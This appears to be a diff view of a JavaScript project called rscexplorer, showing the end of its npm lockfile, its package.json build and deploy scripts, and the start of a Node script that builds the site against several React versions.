"sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", 3952 + "license": "MIT", 3953 + "peer": true, 3954 + "dependencies": { 3955 + "has-flag": "^4.0.0" 3956 + }, 3957 + "engines": { 3958 + "node": ">=10" 3959 + }, 3960 + "funding": { 3961 + "url": "https://github.com/chalk/supports-color?sponsor=1" 3962 + } 3963 + }, 3964 + "node_modules/tapable": { 3965 + "version": "2.3.0", 3966 + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", 3967 + "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", 3968 + "license": "MIT", 3969 + "peer": true, 3970 + "engines": { 3971 + "node": ">=6" 3972 + }, 3973 + "funding": { 3974 + "type": "opencollective", 3975 + "url": "https://opencollective.com/webpack" 3976 + } 3977 + }, 3978 + "node_modules/terser": { 3979 + "version": "5.44.1", 3980 + "resolved": "https://registry.npmjs.org/terser/-/terser-5.44.1.tgz", 3981 + "integrity": "sha512-t/R3R/n0MSwnnazuPpPNVO60LX0SKL45pyl9YlvxIdkH0Of7D5qM2EVe+yASRIlY5pZ73nclYJfNANGWPwFDZw==", 3982 + "license": "BSD-2-Clause", 3983 + "peer": true, 3984 + "dependencies": { 3985 + "@jridgewell/source-map": "^0.3.3", 3986 + "acorn": "^8.15.0", 3987 + "commander": "^2.20.0", 3988 + "source-map-support": "~0.5.20" 3989 + }, 3990 + "bin": { 3991 + "terser": "bin/terser" 3992 + }, 3993 + "engines": { 3994 + "node": ">=10" 3995 + } 3996 + }, 3997 + "node_modules/terser-webpack-plugin": { 3998 + "version": "5.3.16", 3999 + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.16.tgz", 4000 + "integrity": "sha512-h9oBFCWrq78NyWWVcSwZarJkZ01c2AyGrzs1crmHZO3QUg9D61Wu4NPjBy69n7JqylFF5y+CsUZYmYEIZ3mR+Q==", 4001 + "license": "MIT", 4002 + "peer": true, 4003 + "dependencies": { 4004 + "@jridgewell/trace-mapping": "^0.3.25", 4005 + "jest-worker": "^27.4.5", 4006 + "schema-utils": "^4.3.0", 4007 + "serialize-javascript": "^6.0.2", 4008 + "terser": "^5.31.1" 4009 + }, 4010 + "engines": { 4011 + "node": ">= 10.13.0" 4012 + }, 4013 + "funding": { 4014 + "type": "opencollective", 4015 + "url": "https://opencollective.com/webpack" 4016 + }, 4017 + "peerDependencies": { 4018 + "webpack": "^5.1.0" 4019 + }, 4020 + "peerDependenciesMeta": { 4021 + "@swc/core": { 4022 + "optional": true 4023 + }, 4024 + "esbuild": { 4025 + "optional": true 4026 + }, 4027 + "uglify-js": { 4028 + "optional": true 4029 + } 4030 + } 4031 + }, 4032 + "node_modules/text-encoding": { 4033 + "version": "0.7.0", 4034 + "resolved": "https://registry.npmjs.org/text-encoding/-/text-encoding-0.7.0.tgz", 4035 + "integrity": "sha512-oJQ3f1hrOnbRLOcwKz0Liq2IcrvDeZRHXhd9RgLrsT+DjWY/nty1Hi7v3dtkaEYbPYe0mUoOfzRrMwfXXwgPUA==", 4036 + "deprecated": "no longer maintained", 4037 + "license": "(Unlicense OR Apache-2.0)" 4038 + }, 4039 + "node_modules/tinybench": { 4040 + "version": "2.9.0", 4041 + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", 4042 + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", 4043 + "dev": true, 4044 + "license": "MIT" 4045 + }, 4046 + "node_modules/tinyexec": { 4047 + "version": "1.0.2", 4048 + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.0.2.tgz", 4049 + "integrity": "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg==", 4050 + "dev": true, 4051 + "license": "MIT", 4052 + "engines": { 4053 + "node": ">=18" 4054 + } 4055 + }, 4056 + "node_modules/tinyglobby": { 4057 + "version": "0.2.15", 4058 + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", 4059 + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", 4060 + "dev": true, 4061 + "license": "MIT", 4062 + "dependencies": { 4063 + "fdir": "^6.5.0", 4064 + "picomatch": "^4.0.3" 4065 + }, 4066 + "engines": { 4067 + "node": ">=12.0.0" 4068 + }, 4069 + "funding": { 4070 + "url": "https://github.com/sponsors/SuperchupuDev" 4071 + } 4072 + }, 4073 + "node_modules/tinyglobby/node_modules/fdir": { 4074 + "version": "6.5.0", 4075 + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", 4076 + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", 4077 + "dev": true, 4078 + "license": "MIT", 4079 + "engines": { 4080 + "node": ">=12.0.0" 4081 + }, 4082 + "peerDependencies": { 4083 + "picomatch": "^3 || ^4" 4084 + }, 4085 + "peerDependenciesMeta": { 4086 + "picomatch": { 4087 + "optional": true 4088 + } 4089 + } 4090 + }, 4091 + "node_modules/tinyrainbow": { 4092 + "version": "3.0.3", 4093 + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.0.3.tgz", 4094 + "integrity": "sha512-PSkbLUoxOFRzJYjjxHJt9xro7D+iilgMX/C9lawzVuYiIdcihh9DXmVibBe8lmcFrRi/VzlPjBxbN7rH24q8/Q==", 4095 + "dev": true, 4096 + "license": "MIT", 4097 + "engines": { 4098 + "node": ">=14.0.0" 4099 + } 4100 + }, 4101 + "node_modules/totalist": { 4102 + "version": "3.0.1", 4103 + "resolved": "https://registry.npmjs.org/totalist/-/totalist-3.0.1.tgz", 4104 + "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", 4105 + "dev": true, 4106 + "license": "MIT", 4107 + "engines": { 4108 + "node": ">=6" 4109 + } 4110 + }, 4111 + "node_modules/tslib": { 4112 + "version": "2.8.1", 4113 + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", 4114 + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", 4115 + "dev": true, 4116 + "license": "0BSD", 4117 + "optional": true 4118 + }, 4119 + "node_modules/undici": { 4120 + "version": "7.14.0", 4121 + "resolved": "https://registry.npmjs.org/undici/-/undici-7.14.0.tgz", 4122 + "integrity": "sha512-Vqs8HTzjpQXZeXdpsfChQTlafcMQaaIwnGwLam1wudSSjlJeQ3bw1j+TLPePgrCnCpUXx7Ba5Pdpf5OBih62NQ==", 4123 + "dev": true, 4124 + "license": "MIT", 4125 + "engines": { 4126 + "node": ">=20.18.1" 4127 + } 4128 + }, 4129 + "node_modules/undici-types": { 4130 + "version": "7.16.0", 4131 + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", 4132 + "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", 4133 + "license": "MIT", 4134 + "peer": true 4135 + }, 4136 + "node_modules/unenv": { 4137 + "version": "2.0.0-rc.24", 4138 + "resolved": "https://registry.npmjs.org/unenv/-/unenv-2.0.0-rc.24.tgz", 4139 + "integrity": "sha512-i7qRCmY42zmCwnYlh9H2SvLEypEFGye5iRmEMKjcGi7zk9UquigRjFtTLz0TYqr0ZGLZhaMHl/foy1bZR+Cwlw==", 4140 + "dev": true, 4141 + "license": "MIT", 4142 + "dependencies": { 4143 + "pathe": "^2.0.3" 4144 + } 4145 + }, 4146 + "node_modules/update-browserslist-db": { 4147 + "version": "1.2.2", 4148 + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.2.tgz", 4149 + "integrity": "sha512-E85pfNzMQ9jpKkA7+TJAi4TJN+tBCuWh5rUcS/sv6cFi+1q9LYDwDI5dpUL0u/73EElyQ8d3TEaeW4sPedBqYA==", 4150 + "funding": [ 4151 + { 4152 + "type": "opencollective", 4153 + "url": "https://opencollective.com/browserslist" 4154 + }, 4155 + { 4156 + "type": "tidelift", 4157 + "url": "https://tidelift.com/funding/github/npm/browserslist" 4158 + }, 4159 + { 4160 + "type": "github", 4161 + "url": "https://github.com/sponsors/ai" 4162 + } 4163 + ], 4164 + "license": "MIT", 4165 + "dependencies": { 4166 + "escalade": "^3.2.0", 4167 + "picocolors": "^1.1.1" 4168 + }, 4169 + "bin": { 4170 + "update-browserslist-db": "cli.js" 4171 + }, 4172 + "peerDependencies": { 4173 + "browserslist": ">= 4.21.0" 4174 + } 4175 + }, 4176 + "node_modules/vite": { 4177 + "version": "7.3.0", 4178 + "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.0.tgz", 4179 + "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==", 4180 + "dev": true, 4181 + "license": "MIT", 4182 + "dependencies": { 4183 + "esbuild": "^0.27.0", 4184 + "fdir": "^6.5.0", 4185 + "picomatch": "^4.0.3", 4186 + "postcss": "^8.5.6", 4187 + "rollup": "^4.43.0", 4188 + "tinyglobby": "^0.2.15" 4189 + }, 4190 + "bin": { 4191 + "vite": "bin/vite.js" 4192 + }, 4193 + "engines": { 4194 + "node": "^20.19.0 || >=22.12.0" 4195 + }, 4196 + "funding": { 4197 + "url": "https://github.com/vitejs/vite?sponsor=1" 4198 + }, 4199 + "optionalDependencies": { 4200 + "fsevents": "~2.3.3" 4201 + }, 4202 + "peerDependencies": { 4203 + "@types/node": "^20.19.0 || >=22.12.0", 4204 + "jiti": ">=1.21.0", 4205 + "less": "^4.0.0", 4206 + "lightningcss": "^1.21.0", 4207 + "sass": "^1.70.0", 4208 + "sass-embedded": "^1.70.0", 4209 + "stylus": ">=0.54.8", 4210 + "sugarss": "^5.0.0", 4211 + "terser": "^5.16.0", 4212 + "tsx": "^4.8.1", 4213 + "yaml": "^2.4.2" 4214 + }, 4215 + "peerDependenciesMeta": { 4216 + "@types/node": { 4217 + "optional": true 4218 + }, 4219 + "jiti": { 4220 + "optional": true 4221 + }, 4222 + "less": { 4223 + "optional": true 4224 + }, 4225 + "lightningcss": { 4226 + "optional": true 4227 + }, 4228 + "sass": { 4229 + "optional": true 4230 + }, 4231 + "sass-embedded": { 4232 + "optional": true 4233 + }, 4234 + "stylus": { 4235 + "optional": true 4236 + }, 4237 + "sugarss": { 4238 + "optional": true 4239 + }, 4240 + "terser": { 4241 + "optional": true 4242 + }, 4243 + "tsx": { 4244 + "optional": true 4245 + }, 4246 + "yaml": { 4247 + "optional": true 4248 + } 4249 + } 4250 + }, 4251 + "node_modules/vite/node_modules/fdir": { 4252 + "version": "6.5.0", 4253 + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", 4254 + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", 4255 + "dev": true, 4256 + "license": "MIT", 4257 + "engines": { 4258 + "node": ">=12.0.0" 4259 + }, 4260 + "peerDependencies": { 4261 + "picomatch": "^3 || ^4" 4262 + }, 4263 + "peerDependenciesMeta": { 4264 + "picomatch": { 4265 + "optional": true 4266 + } 4267 + } 4268 + }, 4269 + "node_modules/vite/node_modules/fsevents": { 4270 + "version": "2.3.3", 4271 + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", 4272 + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", 4273 + "dev": true, 4274 + "hasInstallScript": true, 4275 + "license": "MIT", 4276 + "optional": true, 4277 + "os": [ 4278 + "darwin" 4279 + ], 4280 + "engines": { 4281 + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" 4282 + } 4283 + }, 4284 + "node_modules/vitest": { 4285 + "version": "4.0.15", 4286 + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.0.15.tgz", 4287 + "integrity": "sha512-n1RxDp8UJm6N0IbJLQo+yzLZ2sQCDyl1o0LeugbPWf8+8Fttp29GghsQBjYJVmWq3gBFfe9Hs1spR44vovn2wA==", 4288 + "dev": true, 4289 + "license": "MIT", 4290 + "dependencies": { 4291 + "@vitest/expect": "4.0.15", 4292 + "@vitest/mocker": "4.0.15", 4293 + "@vitest/pretty-format": "4.0.15", 4294 + "@vitest/runner": "4.0.15", 4295 + "@vitest/snapshot": "4.0.15", 4296 + "@vitest/spy": "4.0.15", 4297 + "@vitest/utils": "4.0.15", 4298 + "es-module-lexer": "^1.7.0", 4299 + "expect-type": "^1.2.2", 4300 + "magic-string": "^0.30.21", 4301 + "obug": "^2.1.1", 4302 + "pathe": "^2.0.3", 4303 + "picomatch": "^4.0.3", 4304 + "std-env": "^3.10.0", 4305 + "tinybench": "^2.9.0", 4306 + "tinyexec": "^1.0.2", 4307 + "tinyglobby": "^0.2.15", 4308 + "tinyrainbow": "^3.0.3", 4309 + "vite": "^6.0.0 || ^7.0.0", 4310 + "why-is-node-running": "^2.3.0" 4311 + }, 4312 + "bin": { 4313 + "vitest": "vitest.mjs" 4314 + }, 4315 + "engines": { 4316 + "node": "^20.0.0 || ^22.0.0 || >=24.0.0" 4317 + }, 4318 + "funding": { 4319 + "url": "https://opencollective.com/vitest" 4320 + }, 4321 + "peerDependencies": { 4322 + "@edge-runtime/vm": "*", 4323 + "@opentelemetry/api": "^1.9.0", 4324 + "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", 4325 + "@vitest/browser-playwright": "4.0.15", 4326 + "@vitest/browser-preview": "4.0.15", 4327 + "@vitest/browser-webdriverio": "4.0.15", 4328 + "@vitest/ui": "4.0.15", 4329 + "happy-dom": "*", 4330 + "jsdom": "*" 4331 + }, 4332 + "peerDependenciesMeta": { 4333 + "@edge-runtime/vm": { 4334 + "optional": true 4335 + }, 4336 + "@opentelemetry/api": { 4337 + "optional": true 4338 + }, 4339 + "@types/node": { 4340 + "optional": true 4341 + }, 4342 + "@vitest/browser-playwright": { 4343 + "optional": true 4344 + }, 4345 + "@vitest/browser-preview": { 4346 + "optional": true 4347 + }, 4348 + "@vitest/browser-webdriverio": { 4349 + "optional": true 4350 + }, 4351 + "@vitest/ui": { 4352 + "optional": true 4353 + }, 4354 + "happy-dom": { 4355 + "optional": true 4356 + }, 4357 + "jsdom": { 4358 + "optional": true 4359 + } 4360 + } 4361 + }, 4362 + "node_modules/w3c-keyname": { 4363 + "version": "2.2.8", 4364 + "resolved": "https://registry.npmjs.org/w3c-keyname/-/w3c-keyname-2.2.8.tgz", 4365 + "integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==", 4366 + "license": "MIT" 4367 + }, 4368 + "node_modules/watchpack": { 4369 + "version": "2.4.4", 4370 + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.4.tgz", 4371 + "integrity": "sha512-c5EGNOiyxxV5qmTtAB7rbiXxi1ooX1pQKMLX/MIabJjRA0SJBQOjKF+KSVfHkr9U1cADPon0mRiVe/riyaiDUA==", 4372 + "license": "MIT", 4373 + "peer": true, 4374 + "dependencies": { 4375 + "glob-to-regexp": "^0.4.1", 4376 + "graceful-fs": "^4.1.2" 4377 + }, 4378 + "engines": { 4379 + "node": ">=10.13.0" 4380 + } 4381 + }, 4382 + "node_modules/web-streams-polyfill": { 4383 + "version": "4.2.0", 4384 + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-4.2.0.tgz", 4385 + "integrity": "sha512-0rYDzGOh9EZpig92umN5g5D/9A1Kff7k0/mzPSSCY8jEQeYkgRMoY7LhbXtUCWzLCMX0TUE9aoHkjFNB7D9pfA==", 4386 + "license": "MIT", 4387 + "workspaces": [ 4388 + "test/benchmark-test", 4389 + "test/rollup-test", 4390 + "test/webpack-test" 4391 + ], 4392 + "engines": { 4393 + "node": ">= 8" 4394 + } 4395 + }, 4396 + "node_modules/webpack": { 4397 + "version": "5.103.0", 4398 + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.103.0.tgz", 4399 + "integrity": "sha512-HU1JOuV1OavsZ+mfigY0j8d1TgQgbZ6M+J75zDkpEAwYeXjWSqrGJtgnPblJjd/mAyTNQ7ygw0MiKOn6etz8yw==", 4400 + "license": "MIT", 4401 + "peer": true, 4402 + "dependencies": { 4403 + "@types/eslint-scope": "^3.7.7", 4404 + "@types/estree": "^1.0.8", 4405 + "@types/json-schema": "^7.0.15", 4406 + "@webassemblyjs/ast": "^1.14.1", 4407 + "@webassemblyjs/wasm-edit": "^1.14.1", 4408 + "@webassemblyjs/wasm-parser": "^1.14.1", 4409 + "acorn": "^8.15.0", 4410 + "acorn-import-phases": "^1.0.3", 4411 + "browserslist": "^4.26.3", 4412 + "chrome-trace-event": "^1.0.2", 4413 + "enhanced-resolve": "^5.17.3", 4414 + "es-module-lexer": "^1.2.1", 4415 + "eslint-scope": "5.1.1", 4416 + "events": "^3.2.0", 4417 + "glob-to-regexp": "^0.4.1", 4418 + "graceful-fs": "^4.2.11", 4419 + "json-parse-even-better-errors": "^2.3.1", 4420 + "loader-runner": "^4.3.1", 4421 + "mime-types": "^2.1.27", 4422 + "neo-async": "^2.6.2", 4423 + "schema-utils": "^4.3.3", 4424 + "tapable": "^2.3.0", 4425 + "terser-webpack-plugin": "^5.3.11", 4426 + "watchpack": "^2.4.4", 4427 + "webpack-sources": "^3.3.3" 4428 + }, 4429 + "bin": { 4430 + "webpack": "bin/webpack.js" 4431 + }, 4432 + "engines": { 4433 + "node": ">=10.13.0" 4434 + }, 4435 + "funding": { 4436 + "type": "opencollective", 4437 + "url": "https://opencollective.com/webpack" 4438 + }, 4439 + "peerDependenciesMeta": { 4440 + "webpack-cli": { 4441 + "optional": true 4442 + } 4443 + } 4444 + }, 4445 + "node_modules/webpack-sources": { 4446 + "version": "3.3.3", 4447 + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.3.3.tgz", 4448 + "integrity": "sha512-yd1RBzSGanHkitROoPFd6qsrxt+oFhg/129YzheDGqeustzX0vTZJZsSsQjVQC4yzBQ56K55XU8gaNCtIzOnTg==", 4449 + "license": "MIT", 4450 + "engines": { 4451 + "node": ">=10.13.0" 4452 + } 4453 + }, 4454 + "node_modules/why-is-node-running": { 4455 + "version": "2.3.0", 4456 + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", 4457 + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", 4458 + "dev": true, 4459 + "license": "MIT", 4460 + "dependencies": { 4461 + "siginfo": "^2.0.0", 4462 + "stackback": "0.0.2" 4463 + }, 4464 + "bin": { 4465 + "why-is-node-running": "cli.js" 4466 + }, 4467 + "engines": { 4468 + "node": ">=8" 4469 + } 4470 + }, 4471 + "node_modules/workerd": { 4472 + "version": "1.20251210.0", 4473 + "resolved": "https://registry.npmjs.org/workerd/-/workerd-1.20251210.0.tgz", 4474 + "integrity": "sha512-9MUUneP1BnRE9XAYi94FXxHmiLGbO75EHQZsgWqSiOXjoXSqJCw8aQbIEPxCy19TclEl/kHUFYce8ST2W+Qpjw==", 4475 + "dev": true, 4476 + "hasInstallScript": true, 4477 + "license": "Apache-2.0", 4478 + "bin": { 4479 + "workerd": "bin/workerd" 4480 + }, 4481 + "engines": { 4482 + "node": ">=16" 4483 + }, 4484 + "optionalDependencies": { 4485 + "@cloudflare/workerd-darwin-64": "1.20251210.0", 4486 + "@cloudflare/workerd-darwin-arm64": "1.20251210.0", 4487 + "@cloudflare/workerd-linux-64": "1.20251210.0", 4488 + "@cloudflare/workerd-linux-arm64": "1.20251210.0", 4489 + "@cloudflare/workerd-windows-64": "1.20251210.0" 4490 + } 4491 + }, 4492 + "node_modules/wrangler": { 4493 + "version": "4.54.0", 4494 + "resolved": "https://registry.npmjs.org/wrangler/-/wrangler-4.54.0.tgz", 4495 + "integrity": "sha512-bANFsjDwJLbprYoBK+hUDZsVbUv2SqJd8QvArLIcZk+fPq4h/Ohtj5vkKXD3k0s2bD1DXLk08D+hYmeNH+xC6A==", 4496 + "dev": true, 4497 + "license": "MIT OR Apache-2.0", 4498 + "dependencies": { 4499 + "@cloudflare/kv-asset-handler": "0.4.1", 4500 + "@cloudflare/unenv-preset": "2.7.13", 4501 + "blake3-wasm": "2.1.5", 4502 + "esbuild": "0.27.0", 4503 + "miniflare": "4.20251210.0", 4504 + "path-to-regexp": "6.3.0", 4505 + "unenv": "2.0.0-rc.24", 4506 + "workerd": "1.20251210.0" 4507 + }, 4508 + "bin": { 4509 + "wrangler": "bin/wrangler.js", 4510 + "wrangler2": "bin/wrangler.js" 4511 + }, 4512 + "engines": { 4513 + "node": ">=20.0.0" 4514 + }, 4515 + "optionalDependencies": { 4516 + "fsevents": "~2.3.2" 4517 + }, 4518 + "peerDependencies": { 4519 + "@cloudflare/workers-types": "^4.20251210.0" 4520 + }, 4521 + "peerDependenciesMeta": { 4522 + "@cloudflare/workers-types": { 4523 + "optional": true 4524 + } 4525 + } 4526 + }, 4527 + "node_modules/wrangler/node_modules/path-to-regexp": { 4528 + "version": "6.3.0", 4529 + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", 4530 + "integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==", 4531 + "dev": true, 4532 + "license": "MIT" 4533 + }, 4534 + "node_modules/ws": { 4535 + "version": "8.18.3", 4536 + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz", 4537 + "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", 4538 + "dev": true, 4539 + "license": "MIT", 4540 + "engines": { 4541 + "node": ">=10.0.0" 4542 + }, 4543 + "peerDependencies": { 4544 + "bufferutil": "^4.0.1", 4545 + "utf-8-validate": ">=5.0.2" 4546 + }, 4547 + "peerDependenciesMeta": { 4548 + "bufferutil": { 4549 + "optional": true 4550 + }, 4551 + "utf-8-validate": { 4552 + "optional": true 4553 + } 4554 + } 4555 + }, 4556 + "node_modules/yallist": { 4557 + "version": "3.1.1", 4558 + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", 4559 + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", 4560 + "dev": true, 4561 + "license": "ISC" 4562 + }, 4563 + "node_modules/youch": { 4564 + "version": "4.1.0-beta.10", 4565 + "resolved": "https://registry.npmjs.org/youch/-/youch-4.1.0-beta.10.tgz", 4566 + "integrity": "sha512-rLfVLB4FgQneDr0dv1oddCVZmKjcJ6yX6mS4pU82Mq/Dt9a3cLZQ62pDBL4AUO+uVrCvtWz3ZFUL2HFAFJ/BXQ==", 4567 + "dev": true, 4568 + "license": "MIT", 4569 + "dependencies": { 4570 + "@poppinss/colors": "^4.1.5", 4571 + "@poppinss/dumper": "^0.6.4", 4572 + "@speed-highlight/core": "^1.2.7", 4573 + "cookie": "^1.0.2", 4574 + "youch-core": "^0.3.3" 4575 + } 4576 + }, 4577 + "node_modules/youch-core": { 4578 + "version": "0.3.3", 4579 + "resolved": "https://registry.npmjs.org/youch-core/-/youch-core-0.3.3.tgz", 4580 + "integrity": "sha512-ho7XuGjLaJ2hWHoK8yFnsUGy2Y5uDpqSTq1FkHLK4/oqKtyUU1AFbOOxY4IpC9f0fTLjwYbslUz0Po5BpD1wrA==", 4581 + "dev": true, 4582 + "license": "MIT", 4583 + "dependencies": { 4584 + "@poppinss/exception": "^1.2.2", 4585 + "error-stack-parser-es": "^1.0.5" 4586 + } 4587 + }, 4588 + "node_modules/youch/node_modules/cookie": { 4589 + "version": "1.1.1", 4590 + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", 4591 + "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", 4592 + "dev": true, 4593 + "license": "MIT", 4594 + "engines": { 4595 + "node": ">=18" 4596 + }, 4597 + "funding": { 4598 + "type": "opencollective", 4599 + "url": "https://opencollective.com/express" 4600 + } 4601 + }, 4602 + "node_modules/zod": { 4603 + "version": "3.22.3", 4604 + "resolved": "https://registry.npmjs.org/zod/-/zod-3.22.3.tgz", 4605 + "integrity": "sha512-EjIevzuJRiRPbVH4mGc8nApb/lVLKVpmUhAaR5R5doKGfAnGJ6Gr3CViAVjP+4FWSxCsybeWQdcgCtbX+7oZug==", 4606 + "dev": true, 4607 + "license": "MIT", 4608 + "funding": { 4609 + "url": "https://github.com/sponsors/colinhacks" 4610 + } 4611 + } 4612 + } 4613 + }
+46
package.json
··· 1 + { 2 + "name": "rscexplorer", 3 + "version": "1.0.0", 4 + "description": "", 5 + "main": "index.js", 6 + "type": "module", 7 + "scripts": { 8 + "build": "vite build", 9 + "build:version": "node scripts/build-version.js", 10 + "build:versions": "node scripts/build-version.js --all", 11 + "dev": "vite", 12 + "preview": "vite preview", 13 + "deploy": "npm install && npm test && npm run build:versions && wrangler pages deploy dist --project-name=rscexplorer", 14 + "test": "vitest run --reporter=verbose" 15 + }, 16 + "keywords": [], 17 + "author": "Dan Abramov <dan.abramov@gmail.com>", 18 + "license": "MIT", 19 + "dependencies": { 20 + "@babel/standalone": "^7.28.5", 21 + "@codemirror/autocomplete": "^6.20.0", 22 + "@codemirror/commands": "^6.10.0", 23 + "@codemirror/lang-javascript": "^6.2.4", 24 + "@codemirror/language": "^6.11.3", 25 + "@codemirror/state": "^6.5.2", 26 + "@codemirror/theme-one-dark": "^6.1.3", 27 + "@codemirror/view": "^6.39.4", 28 + "@lezer/highlight": "^1.2.3", 29 + "codemirror": "^6.0.2", 30 + "react": "19.2.3", 31 + "react-dom": "19.2.3", 32 + "react-server-dom-webpack": "19.2.3", 33 + "text-encoding": "^0.7.0", 34 + "web-streams-polyfill": "^4.2.0" 35 + }, 36 + "devDependencies": { 37 + "@vitejs/plugin-react": "^5.1.2", 38 + "@vitest/browser": "^4.0.15", 39 + "@vitest/browser-playwright": "^4.0.15", 40 + "playwright": "^1.57.0", 41 + "rolldown": "^1.0.0-beta.54", 42 + "vite": "npm:rolldown-vite@latest", 43 + "vitest": "^4.0.15", 44 + "wrangler": "^4.0.0" 45 + } 46 + }
screenshot.png

This is a binary file and will not be displayed.

+94
scripts/build-version.js
··· 1 + #!/usr/bin/env node 2 + 3 + import { execSync } from "child_process"; 4 + import { parseArgs } from "util"; 5 + import { readFileSync } from "fs"; 6 + import ALL_VERSIONS from "./versions.json" with { type: "json" }; 7 + 8 + const REACT_PACKAGES = ["react", "react-dom", "react-server-dom-webpack"]; 9 + 10 + function run(cmd, opts = {}) { 11 + console.log(`\n> ${cmd}`); 12 + execSync(cmd, { stdio: "inherit", ...opts }); 13 + } 14 + 15 + function getLatestVersion() { 16 + const pkg = JSON.parse(readFileSync("package.json", "utf-8")); 17 + return pkg.dependencies.react; 18 + } 19 + 20 + function installReactVersion(version) { 21 + const packages = REACT_PACKAGES.map((p) => `${p}@${version}`).join(" "); 22 + run(`npm install ${packages} --no-save`); 23 + } 24 + 25 + function buildForVersion(version, outDir) { 26 + console.log(`\n========================================`); 27 + console.log( 28 + `Building React ${version} (dev + prod) → ${outDir || `dist/${version}`}`, 29 + ); 30 + console.log(`========================================`); 31 + 32 + installReactVersion(version); 33 + 34 + const dir = outDir || `dist/${version}`; 35 + // Base path for assets (e.g., /19.1.0/ or / for root) 36 + const basePath = outDir === "dist" ? "/" : `/${version}/`; 37 + const devBasePath = outDir === "dist" ? "/dev/" : `/${version}/dev/`; 38 + 39 + // Production build 40 + console.log(`\n--- Production build ---`); 41 + run(`npm run build -- --outDir=${dir} --base=${basePath}`); 42 + 43 + // Development build (unminified, development mode) 44 + console.log(`\n--- Development build ---`); 45 + run( 46 + `npm run build -- --outDir=${dir}/dev --base=${devBasePath} --mode=development --minify=false`, 47 + ); 48 + } 49 + 50 + function restorePackages() { 51 + console.log(`\n========================================`); 52 + console.log(`Restoring original packages`); 53 + console.log(`========================================`); 54 + run("npm install"); 55 + } 56 + 57 + // Parse arguments 58 + const { values } = parseArgs({ 59 + 